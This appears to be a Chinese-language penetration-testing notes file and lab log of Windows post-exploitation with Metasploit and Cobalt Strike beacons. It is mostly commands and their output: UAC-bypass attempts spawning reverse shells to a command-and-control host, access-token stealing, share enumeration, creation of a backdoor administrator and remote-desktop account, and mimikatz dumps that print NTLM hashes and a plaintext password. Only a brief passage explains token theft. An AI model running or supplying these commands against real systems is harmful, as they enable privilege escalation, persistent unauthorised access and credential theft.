[*] Started reverse TCP handler on 192.168.2.103:4444
[-] Exploit aborted due to failure: none: Already in elevated state
[*] Exploit completed, but no session was created.
msf5 exploit(windows/local/bypassuac_vbs) > exploit
[*] Started reverse TCP handler on 192.168.2.103:4444
[-] Exploit aborted due to failure: none: Already in elevated state
[*] Exploit completed, but no session was created.
access --> elevate
beacon> elevate uac-dll test
[*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity process
[+] host called home, sent: 101435 bytes
[+] received output:
[*] Wrote hijack DLL to 'C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\9970.dll'
[-] Privileged file copy failed: C:\WINDOWS\System32\sysprep\CRYPTBASE.dll
beacon> elevate uac-eventvwr test
[*] Tasked Beacon to run windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity context
[+] host called home, sent: 2798 bytes
[+] host called home, sent: 2498 bytes
[+] host called home, sent: 125001 bytes
[-] could not spawn C:\WINDOWS\system32\rundll32.exe (token): 1349
[-] Could not connect to pipe: 2
beacon> elevate uac-token-duplication test
[+] host called home, sent: 3545 bytes
[*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity process (token duplication)
[+] host called home, sent: 79378 bytes
[+] received output:
[-] You're already in a high integrity context.
beacon> elevate uac-wscript test
[*] Tasked Beacon to run windows/beacon_http/reverse_http (192.168.2.103:6666) in a high integrity context
[+] host called home, sent: 2802 bytes
[+] host called home, sent: 128999 bytes
[-] could not spawn C:\WINDOWS\system32\rundll32.exe (token): 1349
[-] Could not connect to pipe: 2
原理：
Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.
简单来说就是攻击者可以使用访问令牌在不同的用户或系统安全上下文中操作，以执行操作和逃避检测。攻击者可以使用内置的Windows API函数从现有进程复制访问令牌;这就是所谓的令牌窃取
常用方法：
` 令牌模拟/盗窃
` 使用令牌创建进程
` Make和Impersonate令牌
注：任何标准用户都可以使用runas命令和Windows API函数创建模拟令牌;它不需要访问管理员帐户
use incognito
list_tokens -u
impersonate_token DOMAIN\\User
or:
steal_token {pid}
meterpreter > use incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
ROOT-5DE52AC98B\Administrator
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
steal_token pid
beacon> steal_token 1228
[*] Tasked beacon to steal token from PID 1228
[+] host called home, sent: 12 bytes
net share
C:\Users\Administrator\Desktop\powrshell>net share
共享名 资源 注解
-------------------------------------------------------------------------------
C$ C:\ 默认共享
D$ D:\ 默认共享
IPC$ 远程 IPC
ADMIN$ C:\Windows 远程管理
命令成功完成。
auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > exploit
[-] 192.168.2.114:139 - Login Failed: Unable to Negotiate with remote host
[*] 192.168.2.114: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
shell net share
net view \host /all [/domain:domain]
C:\Users\Administrator\Desktop\powrshell>net view /all
发生系统错误 6118。
此工作组的服务器列表当前无法使用
auxiliary/scanner/smb/smb_enumshares
net view \host /domain
net user support_388945a0 somepasswordhere /add /y
net localgroup administrators support_388945a0 /add
net localgroup "remote desktop users" support_388945a0 /add
C:\Users\Administrator\Desktop\powrshell>net user support_388945a0 somepasswordhere /add /y
命令成功完成。
C:\Users\Administrator\Desktop\powrshell>net localgroup administrators support_388945a0 /add
命令成功完成。
C:\Users\Administrator\Desktop\powrshell>net localgroup "remote desktop users"
别名 remote desktop users
注释 此组中的成员被授予远程登录的权限
成员
-------------------------------------------------------------------------------
命令成功完成。
C:\Users\Administrator\Desktop\powrshell>support_388945a0 /add
'support_388945a0' 不是内部或外部命令，也不是可运行的程序
或批处理文件。
C:\Users\Administrator\Desktop\powrshell>net user
\\DESKTOP-QQF0MLN 的用户帐户
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
support_388945a0 WDAGUtilityAccount
命令成功完成。
post/windows/manage/add_user_domain
msf5 post(windows/manage/add_user_domain) > exploit
[*] Running module on ROOT-5DE52AC98B
[-] This host is not part of a domain.
[*] Post module execution completed
shell net user support_388945a0 somepasswordhere /add /y
shell net localgroup administrators support_388945a0 /add
shell net localgroup "remote desktop users" support_388945a0 /add
net user support_388945a0 /active:yes
net localgroup administrators support_388945a0 /add
net localgroup "remote desktop users" support_388945a0 /add
shell net user support_388945a0 /active:yes
shell net localgroup administrators support_388945a0 /add
shell net localgroup "remote desktop users" support_388945a0 /add
mimikatz !sekurlsa::logonpasswords
mimikatz !sekurlsa::msv
mimikatz !sekurlsa::kerberos
mimikatz !sekurlsa::wdigest
beacon> mimikatz !sekurlsa::logonpasswords
[*] Tasked beacon to run mimikatz's !sekurlsa::logonpasswords command
[+] host called home, sent: 841299 bytes
[+] received output:
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : NETWORK SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-20
msv :
[00000002] Primary
* Username : ROOT-5DE52AC98B$
* Domain : WORKGROUP
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
wdigest :
* Username : ROOT-5DE52AC98B$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : root-5de52ac98b$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 333357 (00000000:0005162d)
Session : Interactive from 0
User Name : Administrator
Domain : ROOT-5DE52AC98B
Logon Server : ROOT-5DE52AC98B
Logon Time : 2019-9-7 10:15:25
SID : S-1-5-21-1911985068-4225083820-4011728908-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* LM : 44efce164ab921caaad3b435b51404ee
* NTLM : 32ed87bdb5fdc5e9cba88547376818d4
* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
wdigest :
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* Password : 123456
kerberos :
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* Password : 123456
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-19
msv :
wdigest :
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 53191 (00000000:0000cfc7)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID :
msv :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : ROOT-5DE52AC98B$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-18
msv :
wdigest :
kerberos :
* Username : root-5de52ac98b$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
beacon> mimikatz !sekurlsa::msv
[*] Tasked beacon to run mimikatz's !sekurlsa::msv command
[+] host called home, sent: 841288 bytes
[+] received output:
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : NETWORK SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-20
msv :
[00000002] Primary
* Username : ROOT-5DE52AC98B$
* Domain : WORKGROUP
* LM : aad3b435b51404eeaad3b435b51404ee
* NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0
* SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709
Authentication Id : 0 ; 333357 (00000000:0005162d)
Session : Interactive from 0
User Name : Administrator
Domain : ROOT-5DE52AC98B
Logon Server : ROOT-5DE52AC98B
Logon Time : 2019-9-7 10:15:25
SID : S-1-5-21-1911985068-4225083820-4011728908-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* LM : 44efce164ab921caaad3b435b51404ee
* NTLM : 32ed87bdb5fdc5e9cba88547376818d4
* SHA1 : 6ed5833cf35286ebf8662b7b5949f0d742bbec3f
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-19
msv :
Authentication Id : 0 ; 53191 (00000000:0000cfc7)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID :
msv :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : ROOT-5DE52AC98B$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-18
msv :
beacon> mimikatz !sekurlsa::kerberos
[*] Tasked beacon to run mimikatz's !sekurlsa::kerberos command
[+] host called home, sent: 841293 bytes
[+] received output:
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : NETWORK SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-20
kerberos :
* Username : root-5de52ac98b$
* Domain : WORKGROUP
* Password : (null)
Authentication Id : 0 ; 333357 (00000000:0005162d)
Session : Interactive from 0
User Name : Administrator
Domain : ROOT-5DE52AC98B
Logon Server : ROOT-5DE52AC98B
Logon Time : 2019-9-7 10:15:25
SID : S-1-5-21-1911985068-4225083820-4011728908-500
kerberos :
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* Password : 123456
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-19
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
Authentication Id : 0 ; 53191 (00000000:0000cfc7)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID :
kerberos :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : ROOT-5DE52AC98B$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-18
kerberos :
* Username : root-5de52ac98b$
* Domain : WORKGROUP
* Password : (null)
beacon> mimikatz !sekurlsa::wdigest
[*] Tasked beacon to run mimikatz's !sekurlsa::wdigest command
[+] host called home, sent: 841292 bytes
[+] received output:
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : NETWORK SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-20
wdigest :
* Username : ROOT-5DE52AC98B$
* Domain : WORKGROUP
* Password : (null)
Authentication Id : 0 ; 333357 (00000000:0005162d)
Session : Interactive from 0
User Name : Administrator
Domain : ROOT-5DE52AC98B
Logon Server : ROOT-5DE52AC98B
Logon Time : 2019-9-7 10:15:25
SID : S-1-5-21-1911985068-4225083820-4011728908-500
wdigest :
* Username : Administrator
* Domain : ROOT-5DE52AC98B
* Password : 123456
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-19
wdigest :
Authentication Id : 0 ; 53191 (00000000:0000cfc7)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID :
wdigest :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : ROOT-5DE52AC98B$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 2019-9-7 10:11:34
SID : S-1-5-18
wdigest :